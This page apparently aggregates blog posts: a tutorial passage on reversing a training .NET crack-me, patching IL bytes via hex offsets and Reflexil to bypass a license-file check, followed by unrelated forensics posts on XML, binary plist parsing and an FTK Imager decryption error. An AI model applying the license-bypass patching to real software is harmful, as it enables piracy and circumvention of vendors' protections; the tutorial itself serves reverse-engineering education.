.locals init (
[0] valuetype [System.Drawing]System.Drawing.Color
)

IL_0000: ldarg.0
IL_0001: callvirt instance class [System.Windows.Forms]System.Windows.Forms.Button CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_btnEnableMe()
IL_0006: ldc.i4.0
IL_0007: callvirt instance void [System.Windows.Forms]System.Windows.Forms.Control::set_Enabled(bool)
IL_000c: ldarg.0
IL_000d: callvirt instance class [System.Windows.Forms]System.Windows.Forms.Label CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat()
IL_0012: call valuetype [System.Drawing]System.Drawing.Color [System.Drawing]System.Drawing.Color::get_Red()
IL_0017: callvirt instance void [System.Windows.Forms]System.Windows.Forms.Control::set_ForeColor(valuetype [System.Drawing]System.Drawing.Color)
IL_001c: ret
} // end of method MainForm::Form1_Load

In the code above we can see some IL instructions that should be explained (in the order in which they appear):

ldarg.0 Pushes the value 0 onto the evaluation stack.
callvirt Calls the method get() associated with the object btnEnableMe.
ldc.i4.0 Pushes 0 onto the stack as a 32-bit integer.
callvirt Calls the method set() associated with the object btnEnableMe.

This says that the stack got the value 0 before calling the method set_Enabled(bool); 0 is in general associated with “False” when programming, so we will have to change this 0 to 1 in order to pass “True” as parameter to the method set_Enabled(bool). The IL instruction that pushes 1 onto the stack is ldc.i4.1

In the previous chapter, we saw that byte representation is important in order to know the exact location of the IL instruction to change and to what it should be changed, so by referring to the IL byte representation reference we have:

IL Instruction	Function	Byte representation
Ldc.I4.0	Pushes the integer value of 0 onto the evaluation stack as an int32.	16
Ldc.I4.1	Pushes the integer value of 1 onto the evaluation stack as an int32.	17
Callvirt	Calls a method associated with an object.	6F
Ldarg.0	Loads argument 0 onto the stack.	02

We have to make a big sequence of bytes to search the IL instruction we want to change; we have to translate ldc.i4.0,
callvirt, ldarg.0,
and callvirt to their respective byte representations and make a byte search in a hexadecimal editor.

Referring the list above, we get: 166F??026F??; the “??” means that we do not know either the instance void [System.Windows.Forms]System.Windows.Forms.Control::set_Enabled(bool) (at IL_0007) bytes representation or the bytes representation of instance class [System.Windows.Forms]System.Windows.Forms.Label CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat() (at IL_000d)

Things are getting more complicated and we will use some extra tools. I’m calling ILDasm! This tool is provided with dot NET Framework SDK, if you have installed Microsoft Visual Studio, you can find it in Microsoft Windows SDK folder; in my system ILDasm is located at C:Program FilesMicrosoft Visual Studio 8SDKv2.0Bin

ILDasm can easily be an alternative tool to Reflector or ILSpy except for the fact that its interface is a bit less user-friendly and it has no high-level code translation feature. Anyway, once you’ve located it, open it and load our Crack Me into it (File -> Open) and expand trees as follows:

ILDasm does not show byte representation by default. To show the IL corresponding bytes you have to select View -> Show Bytes:

Then double click on our concerned method (Form1_Load…) to get the IL code and corresponding bytes:

Figure 1 ILDasm IL + bytes representations encoded Form1_Load() method

We now have more information about the IL instructions and their bytes representations now. In order to use this new information, you have to know that after “|” the low-order byte of the number is stored in the PE file at the lowest address, and the high-order byte is stored at the highest address. This order is called “Little Endian.”

What does this mean?

When looking inside the Form1_Load( ) method using ILDasm, we have this:

IL_0006: /* 16 |
IL_0007: /* 6F | (0A)000040
IL_000c: /* 02 |
IL_000d: /* 6F | (06)000022

These Bytes are stored in the file this way: 166F4000000A026F22000006

Back to our target

This sequence of bytes is quite good for making a byte search in a hexadecimal editor. In a real situation study, e may face the annoying problem of finding more than one occurrence of our sequence. In this situation, instead of searching for a bytes sequence we search for (or, better, go to) an offset which can be calculated.

An offset, also called relative address, is used to get to a specific absolute address. We have to calculate an offset where the instruction we want to change is located. Referring to Figure 1, ILDasm and ILSpy indicate the Relative Virtual Address (RVA) at the line // Method begins at RVA 0x1b44c. In order to translate this to an offset or file location, we have to determine the layout of our target to see different sections and different offsets / sizes. We can use PEiD or any other PE Tool, but I prefer to introduce you to a tool that comes with Microsoft Visual C++ to view PE sections called “dumpbin” (If you do not have it, please refer to links in the “References” section).

Dumpbin is a command line utility, so we use the command line type “dumpbin -headers target_name.exe”

By scrolling down we find interesting information:

SECTION HEADER #1
.text name
1C024 virtual size
2000 virtual address
1C200 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
Execute Read

Notice that the method Form1_Load() begins at RVA 0x1b44c (refer to Figure 1) and here the .text section has a virtual size of 0x1c024
with a virtual address indicated as 0×2000 so our method must be within this section. The section containing our method starts from 0X400
in the main executable file. Using these addresses and sizes we can calculate the offset of our method this way:

(Method RVA – Section Virtual Address) + File pointer to raw data; all values are in hexadecimal, so using the Windows calculator or any other calculator that supports hexadecimal operations, we get: (1B44C – 2000) + 400 = 1984C

So 0x1984C is the offset of the start of our method in our main executable. Using any hexadecimal editor we can go directly to this location. What we want to change is a few bytes after this offset considering the method header.

Going back to the sequence of bytes we got a little while ago, 166F4000000A026F22000006, and going to the offset calculated before, we get:

We want to change ldc.i4.0, which is equal to 16, by ldc.i4.1, which is equal to 17. Let’s make this change and see what it produces (before doing any byte changes remember always to make a backup of the original file).

And yes, our first problem is solved; we still have the “Unregistered Crack Me” caption and the still not tested “Save as…” button. Once we click on the button “Enable Me,” we get the second one enabled, which is supposed to be the main program feature.

But, in giving it a try, something bad happen:

Before saving, the program checks for a license; if the license is not found, it disables everything and aborts the saving process.

Protecting a program depends always on the developer’s way of thinking. There are as many ways to protect software as there are to break it. We can nevertheless store protections in “types” or “kinds” of protections. Among these is what we call “license check” protections. Depending on how the developer imagined that the protection must behave and how the license must be checked, the protection’s difficulty changes.

Let’s see again inside our target:

The method btn_EnableMe_Click _1() is triggered when we press the button “Enable Me,” as we saw this; btn_About_Click() is for showing the message box when clicking on the “About” button. Then we still have two methods, btn_EnableMe_Click () and checkLicence() which seems to be interesting.

Let’s go inside the method btn_EnableMe_Click() and see what it has to tell:

By clicking on the “Save” button, instead of saving directly, the Crack Me checks the “registration status” of the program. This may be a kind of “extra protection,” which means that the main feature, which is “saving file,” is protected against “forced clicks”; the Crack Me checks if it is correctly registered before saving even if the “Save as…” button is enabled when the button “Enable Me” is clicked. Click on “checkRegStat()” to see its content:

Figure 2 Original source code of checkReStat() method

It is clear that there is a Boolean variable that changes, which is isRegistered, and we have made no changes to this. So if isRegistered is false (if (!this.isRegistered)…) the Crack Me makes a call to the checkLicense() method. We can see how isRegistered is initialized by clicking on .ctor() method:

Figure 3 .ctor() method

.ctor() is the default constructor where any member variables are initialized to their default values.

Let’s go back and see what the method checkLicense() does exactly:

Figure 4 Method chcekLicense()

This is surely a simple simulation of software “license check” protection. The Crack Me checks for the presence of a “lic.dat” file in the same directory of the application startup path; in other words, the Crack Me verifies that there is any “lic.dat” file in the same directory as the main executable file.

Well, technically, at this point, we can figure out many solutions to make our program run fully. If we remove the call to the checkLicense() method, we will also remove the main feature, which is saving, since it is done only once the checking is done (Figure 2).

If we force the isRegistered variable to take the value True by changing its initialization (Figure 3), we will lose the call to checkLicense() method that itself calls the main feature (“saving“), as it is only called if isRegistered is equal to false, as seen here (refer to Figure 2):

public void checkRegStat()
{
this.LblStat.ForeColor = Color.Green;
this.LblStat.Text = “Saving…”;
if (!this.isRegistered)
{
this.checkLicence();
}
}

We can alter the branch statement (if… else… endif, Figure 4). This way we can save only if the license file is not found.

We saw how to perform byte patching the “classical” way using offsets and hexadecimal editor. I’ll introduce you an easy way which is less technical and can save us considerable time.

We will switch again to Reflector (please refer to previous parts of this series for further information). This tool can be extended using plug-ins; we will use Reflexil,
a Reflector add-In that will allow us to editing and manipulate IL code, then saving the modifications to disk. After downloading Reflexil you need to install it; Open Reflector and go to Tools -> Add-ins (in some versions View -> Add-ins)

A window will appear. Click on “Add…” and select “Reflexil.Reflector.dll“:

Once you are done you can see your plug-in added to the Add-ins window, which you can close:

Let’s load our modified Crack-Me on Reflector, and go to checkLicence() method:

Figure 5

Basically, we want to modify the Crack Me so that we get “File saved!” Switch the view to see the IL code representation of this C# code:

.method
public
instance
void
checkLicence() cil managed

{

.maxstack 3

.locals
init (

[0] string
str,

[1] valuetype [System.Drawing]System.Drawing.Color
color)

L_0000: call string [System.Windows.Forms]System.Windows.Forms.Application::get_StartupPath()

L_0005: ldstr “\lic.dat”

L_000a: call string [mscorlib]System.String::Concat(string, string)

L_000f: stloc.0

L_0010: ldloc.0

L_0011: call bool [mscorlib]System.IO.File::Exists(string)

L_0016: brtrue.s L_006b

L_0018: ldstr “license file missing. Cannot save file.”

L_001d: ldc.i4.s 0×10

L_001f: ldstr “License not found”

L_0024: call valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxResult [Microsoft.VisualBasic]Microsoft.VisualBasic.Interaction::MsgBox(object, valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxStyle, object)

L_0029: pop

L_002a: ldarg.0

L_002b: ldc.i4.0

L_002c: stfld bool
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::isRegistered

L_0031: ldarg.0

L_0032: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Label
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat()

L_0037: call valuetype [System.Drawing]System.Drawing.Color [System.Drawing]System.Drawing.Color::get_Red()

L_003c: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Control::set_ForeColor(valuetype [System.Drawing]System.Drawing.Color)

L_0041: ldarg.0

L_0042: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Label
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat()

L_0047: ldstr “Unregistered Crack Me”

L_004c: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Label::set_Text(string)

L_0051: ldarg.0

L_0052: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Button
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_btnEnableMe()

L_0057: ldc.i4.0

L_0058: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Control::set_Enabled(bool)

L_005d: ldarg.0

L_005e: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Button
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_btnSaveAs()

L_0063: ldc.i4.0

L_0064: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Control::set_Enabled(bool)

L_0069: br.s L_0092

L_006b: ldarg.0

L_006c: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Label
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat()

L_0071: call valuetype [System.Drawing]System.Drawing.Color [System.Drawing]System.Drawing.Color::get_Green()

L_0076: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Control::set_ForeColor(valuetype [System.Drawing]System.Drawing.Color)

L_007b: ldarg.0

L_007c: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.Label
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::get_LblStat()

L_0081: ldstr “File saved !”

L_0086: callvirt instance
void [System.Windows.Forms]System.Windows.Forms.Label::set_Text(string)

L_008b: ldarg.0

L_008c: ldc.i4.1

L_008d: stfld bool
CrackMe2_InfoSecInstitute_dotNET_Reversing.MainForm::isRegistered

L_0092: ret

}

I marked interesting instructions that need some explanations. Basically we have this:

.method
public
instance
void
checkLicence() cil managed

{

.maxstack 3

(…)

L_0011: call bool [mscorlib]System.IO.File::Exists(string)

L_0016: brtrue.s L_006b

L_0018: ldstr “license file missing. Cannot save file.”

(…)

L_0069: br.s L_0092

L_006b: ldarg.0

(…)

L_0081: ldstr “File saved !”

(…)

L_0092: ret
}

By referring to our IL instructions reference we have:

IL Instruction	Function	Byte representation
Call	Calls the method indicated by the passed method descriptor.	28
Brtrue.s	Transfers control to a target instruction (short form) if value is true, not null, or non-zero.	2D
Br.s	Unconditionally transfers control to a target instruction (short form).	2B
Ret	Returns from the current method, pushing a return value (if present) from the caller’s evaluation stack onto the caller’s evaluation stack.	2A

Table 1 IL Instructions

The Crack Me makes a Boolean test on the license file presence (Figure 4); if the file is found, it returns True, which means brtrue.s will jump to the line L_006b and the Crack Me will load “File saved!” string. Otherwise it will go to the unconditional transfer control br.s that will transfer control to the instruction ret to get out from the whole method.

Remember, we want our Crack Me to check for license file absence; that way, it returns True if file not found, so it loads “File saved!” string.

Let’s get back to Reflector. Now we have found the section of code we want to change (Figure 5); here comes the role of our add-in Reflexil. On the menu go to Tool -> Reflexil v1.x:

This way you can get the Reflexil panel under the source code or IL code shown by Reflector.

This is the IL code instruction panel of Reflexil. As you can see, there are two ways you can make changes using this add-in, but for now I’ll introduce only one. We will see how to edit instructions using IL code.

After analyzing the IL code above, we know that we have to change the “if not found” to “if found” which means changing brtrue.s (Table 1) to its opposite. By returning to the IL code reference we find
brfalse.s: Branch to target if value is zero (false), short form.

This said, on Reflexil’s panel, find out where is the line we want to change:

Right click on the selected line -> Edit… Now you get a window that looks like this:

Remove “brtrue.s” and type the new instruction “brfalse.s,” then click “Update.” You see your modification has been made:

To “physically “save this change, right click on the root of the disassembled Crack Me select Reflexilv1.x, then Save as…

This way we have a modified copy of our Crack Me. We have the “Enable Me” button enabled; by clicking on it, we enable the “Save as…” button and by clicking on that, we get our “File Saved!” message:

This is the end of the third part. It takes more time with more complex algorithms and protections, but if you are able to get the IL code and can read it clearly you will undoubtedly be able to bypass the software protection. In upcoming parts I’ll introduce you disassembling and reassembling dot NET application and see how this can be exploitable in reversing dot NET software.

References:

Reflexi l : http://sourceforge.net/projects/reflexil/
Dumpbin: ftp://www.fpc.org/fpc32/VS6Disk1/VC98/BIN/DUMPBIN.EXE
LINK.exe: ftp://www.fpc.org/fpc32/VS6Disk1/VC98/BIN/LINK.EXE
Crack ME #2: http://www.mediafire.com/?42vml4flc6yj097
IL Code reference : http://resources.infosecinstitute.com/dot-net-reverse-engineering-part-2/

The SIM-card filesystem in details

Leave a reply

WordPress

Plists, XML and XPATH – A Series

Leave a reply

reblogged from

I’ve been doing some research into the various data storage methods on smart phones and found myself getting engrossed in plists. Though I’ve mentioned them in classes and we’ve talked about how they were constructed and various roadblocks to extracting information from them ,I’d never really done an in-depth module or exercise on them.

Well, I hope with this series to change that omission. At the end of the series, I’ll provide a link to all the posts gathered into one paper. Now without further ado, here is the first of the series on Plists, XML and XPATH.

What is XML?

Although the term XML is thrown around in forensic classes and seen as an option in for analysis output in many of the major forensic tools, how many examiners understand how XML is constructed and the rules that apply to it? As it turns out, XML isn’t all that hard to understand and having a grasp on how it’s used to store data is useful to understanding Plists and other files stored on digital devices – such as current.gpx on Garmin GPS units – which use the XML format.
Let’s look at the building blocks that make up XML and some of the rules that govern them.

Definition of XML

First, let’s define the term XML. XML stands for Extensible Markup Language. This language is an official recommendation of the World Wide Web Consortium (W3C). XML is a metalanguage that allows for the creation and formatting of documents; it is in common use on the Internet and the default of many office productivity suites including Microsoft Office and Apple iWork.

XML Terminology

Next, let’s discuss some terminology used in XML so we can understand when these terms are used in later discussions when we are looking at and reading plists. This is by no means all the terminology that is used in XML; rather these terms are covered here in order to give an examiner a working knowledge of items that may be encountered when working on XML formatted evidence.

Elements – XML is made up of one or more elements. Elements consist of two tags – an opening tag, which is the name of the tag delimited by a less-than sign (“”), and a closing tag, which is the same as the opening tag except that there is a forward slash (“/“) before the element name. An example of an element is MAC Address . The text inside the two tags is considered part of that element and is processed per the element’s rules.
Attribute – An element can have an attribute that serves to modify or refine the default meaning of the elements. Attributes can also be applied to empty elements which are used to provide non-texual content or give additional information to the application that is parsing through the XML. Here is an example of a picture element with the src attribute: . This could also be displayed as a short hand because the element is empty.
Declaration – Most XML documents begin by declaring information about themselves for a processing program as in the following example: . This would tell a parsing program that the XML document uses the Version 1.0 format and optimized for UTF-16 unicode encoding.
Document Type Definition (DTD) – This is an external file that specifies the rules for how all the elements, attributes and other data are defined and related. Below is Apple’s DTD for plists (also located athttp://www.apple.com/DTDs/PropertyList-1.0.dtd)

Apple’s Plist DTD

Root Element – This is the outermost element to which the DTD applies and is usually the start and end points of the document. An example for a plist would be .
CDATA – This stands for “character data.” Anything that occurs after a CDATA section is not to be marked up and is treated as plain text.
PCDATA – This stands for “parsed character data” and means that any character data that is not an element can appear between the tags. In the above Apple DTD, means that any characters such as “WebbookmarkType” can show up between the key element tags but not another tag such as .

Here is the second installment of the series that came out of my research into Plists. I should have placed a references section at the end of the first post – I apologize for not including that. It will appear at the end of this post and all subsequent ones as well. Without further ado, here is part two in which we continue our brief overview of XML.

Special XML Markups and Syntax Rules

When discussing XML basics we should also cover some special markup constructs that you may encounter.

<?xml…?> – As we have seen in the previous section, this is the XML declaration and can take attributes such as encoding or version

<!-…-> – This construct is for used for comments and anything occurring inside this construct is ignored.

– We have seen this before in DTD. This allows for the specification of the DTD. It takes two forms in general – SYSTEM, which specifies the URI of a DTD for private use as in http://www.mygreatsite.com/dtd/mydoc.dtd”>, or PUBLIC. PUBLIC is used when the DTD has been publicized for widespread usage. We have seen a use of thePUBLIC specification in the Apple DTD above.

Finally we will conclude looking at XML with the rules for well formed XML

All element attributes must have quotation marks
All elements must have a closing tag
XML tags are case sensitive
XML elements must be properly nested

               Example incorrect - <b><i>This text is bold and italic</b></i>
               Example correct - <b><i>This text is bold and italic</i></b>

XML Documents must have a root element (we will cover this in the next section)
White space is preserved in XML
XML stores a new line as a line feed

Tree Structure

XML documents must have a root element. The root element is considered the “parent” of all other elements. The elements form a tree that starts at the root element and branches out to the lowest level of the tree.

All the elements in the XML documents can have sub-elements

<root>
    <child>
       <subchild>.....</subchild>
    </child>
</root>

Let’s look at an example

Figure One: Example XML Tree

In the previous example, our root element is <bookstore>. Any <book> elements reside inside of the <bookstore> element. Looking at our <book> element we see that it has four children – <title>, <author>, <year> and <price>.

Notice in the screen capture that the root element (<bookstore> is called the “parent” as we stated before, the next element <book> is called the child and the children elements of <book> are called “siblings”. These concepts are important, as they will be discussed in our short introduction to XPATH – a language that can be used to find information in an XML document.

I hope this installment was useful to you in your forensic endeavors and research. Check back next week for the third installment.

References

Apple Inc. (2012) Mac OS X Reference Library, Manual Page for PLIST(5), [Online], Available:https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man5/plist.5.html[October 23 2012]

Caithness, Alex (2010). Property Lists in Digital Forensics, Available: http://www.cclgroupltd.com/images/property%20lists%20in%20digital%20forensics%20new.pdf, CCL Solutions Group Ltd: Stratford upon-Avon, UK

Eckstein, Robert & Casabianca, Michel(2001). XML Pocket Reference (2^nd edition). Sebastopol, CA:O’Reilly and Associates Inc.

Erack Network(2012). Xpath – predicates[Online}, Available: http://www.tizag.com/xmlTutorial/xpathpredicate.php, [November 1, 2012]

Wikimedia Foundation(2012) Wikipedia: XML[Online], Available: http://en.wikipedia.org/wiki/XML, [October 30, 2012]

World Wide Web Consortium(2012) Extensible Markup Language Tutorial (XML)[Online], Available:http://www.w3schools.com/xml/ [October 24, 2012]

World Wide Web Consortium (2012) Extensible Markup Language (XML) [Online], Available: http://www.w3.org/XML/[ October 24, 2012]

World Wide Web Consortium(2012) XPATH Tutorial, [Online], Available:http://www.w3schools.com/xpath/default.asp/ [October 28, 2012]

Having now done a cursory overview of XML, I’d like to turn my attention to property lists or plists as they are commonly known. Plists according to wikipedia (http://en.wikipedia.org/wiki/Property_list) are files that are used to store serialized object – read data. Very often they are used to store application and user settings. They are a rich source of forensic data that is, at least in my opinion – little understood and under-exploited.

I will be concentrating on binary plists as this is the most common format encountered in iOS and will be using as a launch point the excellent paper ” Property Lists in Digital Forensics “by CCL Forensics’ Alex Caithness (you can find a link to the paper at the end of this post). My aim in the next few posts is to illuminate Caithness’ work and break it open in the hopes that it will be understandable to a wider audience.

I have to confess the motivation behind this was slightly selfish. I myself had some trouble following the work and once I had “cracked the code” so to speak, thought it might be useful for others to benefit from a more in-depth discussion of Alex’s work.

So without further fanfare – here is part three , that which concerns binary plists.

Binary Plists

Caithness points out in “Property Lists in Digital Forensics” that the binary plist is constructed of four distinct parts (Caithness, p 4). Further more he describes them in the order that he presents as the way to read the file for interpretation. I summarize his findings below.

The file starts out with a recognizable header. This header comprises the first eight bytes of the file and is the ASCII String “bplist00” (x62x70x6Cx69x73x74x30x30) – which is the file format and the version.

The trailer of the file consists of the final 32 bytes. It contains data that is needed to read the file properly. The trailer will be discussed in detail later as we traverse a binary plist and read it.

The offset table – which will also be discussed later – is a table that contains the offsets – or locations within the file, which point to objects in the object table – meaning the data of the file.

The final part of the file as was mentioned above is the object table. This is the “meat” of the file, which contains the binary encoded data of each object or element in the plist. Like the trailer and offset table we will deal with the unique features of objects in a following section.

We will be using the bookmarks.plist file that is located here .

Finding the trailer on an existing plist is relatively straightforward. Since we know that the trailer is 32 bytes in length (Caithness p.4)- we can sweep the bytes from the end of the file until we reach a count of 32.

Location of Binary Plist Trailer

Now that I have located the trailer I like to copy and paste the selection into a new hex file so I can refer to its offsets in a separate window and do not have to keep moving back and forth in the file as is seen in the next image.

Binary Plist Trailer in separate file

We are now set to parse the trailer to locate its key elements and find the location of the offset table of the plist which will enable us to parse the the objects contained in the rest of the file.

The below table is a key to parsing out the file – this has been adapted from Alex Caithness’ table found on page 4 of “Property Lists in Digital Forensics”.

Interpreted Data	Offset in Table	Length of Data	Data Type
Size of integers for offset table(bytes)	6	1	8 bit unsigned integer
Size of collection object reference integers(bytes)	7	1	8 bit unsigned integer
Number of Objects in file	8	8	64-bit unsigned integer (big endian)
Beginning object index	16	8	64-bit unsigned integer (big endian)
Offset location of object offset table	24	8	64-bit unsigned integer (big endian)

Binary plist trailer data

Now we will begin figuring out the parts of the trailer to read the rest of the file. I recommend recording the values on a sheet or in a file for easy reference.

Read the offset to the offset table. Out table above tells us the location of the object offset table occurs at the 24^th offset in our trailer and runs for a length of eight bytes. Using our trailer that we copied out of the binary plist file (again this is supplied – link -) we can see that from offset 24 and running eight bytes we get the value of x02x89. This is decimal 649.

Offset to Offset Table

Calculate the length of the offset table. The length of the table is obtained by taking the “Size of integers” value located at offset six of the trailer and the number of the objects in the file located at offset eight in the file and running for eight bytes and multiplying the decimal values of these bytes to arrive at the length of the table.

Length of the Offset Table

Find the offset table and block it off. Going to offset 649 – or x0289 – sweep from that offset for 58 bytes. Then copy those values into a separate hex file for reading.

Location of Offset Table

Offset table

Our next step entails reading the offset table to find the location of our objects or data. We know that the offset table is a zero based index of the objects in the file, ie. The first object is the 0^th entry on the offset table, and the size of the offsets (encoded big endian) from the value at offset six of the trailer(x02). Now we can look at the offset table and find the location of the first object in the object table. This will occur immediately after the file header(“bplist00”).

We see from the below that this is indeed the case as the offset table indicates the first object occurs at x00x08.

Size of integers, location of first object and first object data type

The offset table will be read again and again as we go through the objects of the file. Now we must turn our attention to interpreting the objects that are found at each offset that is specified in the offset table.

We have just found our first object at offset 8 in the bplist. The first byte of the object is known as a type-descriptor byte (Caithness p 5) and will hold the clue on how to read and interpret the object.

Reading and interpreting this first object will start us off on the next installment of our Plist, XML and XPATH Series. Until then, I hope that this series is proving informative in your forensic endeavors. I look forward to seeing you next week.

References

Eckstein, Robert & Casabianca, Michel(2001). XML Pocket Reference (2^nd edition). Sebastopol, CA:O’Reilly and Associates Inc.

Erack Network(2012). Xpath – predicates[Online}, Available: http://www.tizag.com/xmlTutorial/xpathpredicate.php, [November 1, 2012]

Wikimedia Foundation(2012) Wikipedia: XML[Online], Available: http://en.wikipedia.org/wiki/XML, [October 30, 2012]

World Wide Web Consortium(2012) Extensible Markup Language Tutorial (XML)[Online], Available: http://www.w3schools.com/xml/ [October 24, 2012]

World Wide Web Consortium (2012) Extensible Markup Language (XML) [Online], Available: http://www.w3.org/XML/[ October 24, 2012]

World Wide Web Consortium(2012) XPATH Tutorial, [Online], Available:http://www.w3schools.com/xpath/default.asp/ [October 28, 2012]

Greetings from Veenendaal NL! While most of my colleagues from the Amsterdam Police are enjoying SinterKlaas, I thought I would post the next installment in my series on Plists, XML and XPATH.

In this installment we continue to break open the reverse engineering of Alex Caithness’ paper “Property Lists in Digital Forensics”. In our last installment we ended just before looking at the type descriptor byte of our first object.

Data Type Descriptors

We see that the first byte of our first object is xD4. Converting this to binary we get the value 1101 0100, which our table tells us is a dictionary. Remember that a dictionary is a collection of key-value pairs. Our table tells us that the second nibble of our byte(4) reveals that the amount of object reference pairs that are present in the dictionary. However, since they are pairs we have to double the amount to get the both the key and the value. The total number of object references in this dictionary are therefore 8. Looking at our bplist file we see that this is indeed true.

Dictionary collection object references

Since the beginning dictionary for our 0^th entry we see that the first object reference after the dictionary is x01. This refers to the index in the offset table – since the dictionary was found from the 0^th index, the first object is found at index #1. The value at the first position is x00x11 or decimal 17.

Offset to first object reference of dictionary

Going to offset 17 we see that we have x5f which converted to binary is 0101 1111. Our table indicates that this is a string and the left nibble of the byte “F” tells us that an integer byte follows to give us the length of the string. That byte is x10 which is 0001 0000 – the data type for an integer. Since 2^0 = 1(remember that length of this data type is 2^nnnn), the length of the data will be read in the next byte – x0F or 15. Sweeping fifteen bytes after this byte we see that we have the string of “WebBookmarkType”.

ASCII representation of first object reference

Let’s verify our findings another way. Let’s look at the binary plist decoded into XML to see if our work with the hex is correct. Here we see that the first object is indeed a dictionary and that the first object of the dictionary is a key called “WebBookmarkType”. So far so good!

<?xml version="1.0" encoding="utf-16"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">
  <dict>  -> Our first object at the 0^th position of the offset table.
    <key>WebBookmarkType</key>  -> The first object of the dictionary collection. This was found at the first 
                                   position of the offset table as indicated by the dictionary object 
                                   reference.

Moving on, the dictionary object reference points to the second index of the offset table. The value here is x00x23. This converts to decimal 35. We find another string – x5f – at this offset. Reading the next two bytes – x10 for the integer byte and x0F for the length (again 15) – we can sweep for our string value, which is in this instance “WebBookmarkUUID”

Second object reference

ASCII Representation of second object reference

Let’s again check our converted bplist to see if we got it right.

<?xml version="1.0" encoding="utf-16"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">
  <dict>
    <key>WebBookmarkType</key>  
    <string>WebBookmarkTypeList</string>
    <key>WebBookmarkUUID</key>

Hey wait a second, <string>WebBookmarkTypeList</string> follows “WebBookmarkType”!

No, you haven’t parsed the hex incorrectly. The “value” of the key-value pairs follows in the hex after all the keys have been identified in the order that the keys are identified in the dict object pairs. Don’t believe me? Ok you Philistines, check out the fifth index of the offset table – remember that its zero based so count to five starting at zero. Did you find x00x57 (decimal 87)? Good. Now jump back to the bplist and find offset 87 – you should see a x5f (by now you should guess that its a string). Its followed by integer byte x10 and then the length by x13 which converts to decimal 19 for the length of the string in bytes. Now sweep 19 bytes. Did you find “WebBookmarkTypeList”?

Offset to fifth object reference

ASCII representation of fifth object reference

Recalling the XML conversion of the bplist is “WebBookmarkTypeList” the string value of the key “WebBookmarkType”? You betcha it is!

<?xml version="1.0" encoding="utf-16"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">
  <dict>
    <key>WebBookmarkType</key>  
    <string>WebBookmarkTypeList</string>
    <key>WebBookmarkUUID</key>

This pattern repeats itself for each of the keys value pairs in the dictionary until it reaches the fourth key. Remember a key can contain as the data type of the element following another collection. This is indeed what we find as the fourth object of the topmost dictionary.

Our examination of the fourth object of the topmost dictionary will start us off on the next installment of our series. Until then, I wish you all the best in your forensic endeavors and a very good SinterKlaas!

References

Eckstein, Robert & Casabianca, Michel(2001). XML Pocket Reference (2^nd edition). Sebastopol, CA:O’Reilly and Associates Inc.

Erack Network(2012). Xpath – predicates[Online}, Available: http://www.tizag.com/xmlTutorial/xpathpredicate.php, [November 1, 2012]

Wikimedia Foundation(2012) Wikipedia: XML[Online], Available: http://en.wikipedia.org/wiki/XML, [October 30, 2012]

World Wide Web Consortium(2012) Extensible Markup Language Tutorial (XML)[Online], Available: http://www.w3schools.com/xml/ [October 24, 2012]

World Wide Web Consortium (2012) Extensible Markup Language (XML) [Online], Available: http://www.w3.org/XML/[ October 24, 2012]

World Wide Web Consortium(2012) XPATH Tutorial, [Online], Available:http://www.w3schools.com/xpath/default.asp/ [October 28, 2012]

Encrypt it, but Don’t Trust It

Leave a reply

reblogged from http://articles.forensicfocus.com/2012/10/16/encrypt-it-but-dont-trust-it/

This is not about acquisition tools, but about understanding why we need to test our tools even if the tool was just updated. The latest and greatest tool without testing can be a risk factor just like the old and worthless.

I remember how excited I was to test TIM (Tableau IMager) on a multi core system and see it outperform the competition. It was just as exciting as finding out about Access Data’s FTK Imager CLI. It was not about the performance improvement (since there was none) but the OS support and the ability to encrypt images using a certificate.

It’s been working great, but in the latest version something has changed. Using version 3.1.1 to acquire an image on Windows 7 Professional 32/64 bit worked as advertised.

C:tempftkimager>ftkimager.exe \.physicaldrive1 c:tempusb –e01 –outcert C:temppub.cer
AccessData FTK Imager v3.1.1 CLI (Aug 20 2012)
Copyright 2006-2012 AccessData Corp., 384 South 400 West, Lindon, UT 84042
All rights reserved.

Creating image…
Image creation complete.

The image was opened in FTK Imager 3.0.1 using the private key and the given password and FTK Imager was happy to comply. Of course, the question can come up to verify the image in the tool that created it. Surprisingly, the newest version of the software gave an error message and refused to take the private key with the password that worked just fine in GUI.

C:tempftkimager>ftkimager.exe c:tempusb.e01 –verify –incert c:temppri.pfx p@$$w0rd
AccessData FTK Imager v3.1.1 CLI (Aug 20 2012)
Copyright 2006-2012 AccessData Corp., 384 South 400 West, Lindon, UT 84042
All rights reserved.

Error setting up decryption: DecryptWithPrivateKey: Cert encrypted and password failed: c:temppri.pfx
** AD Decryption setup failed.

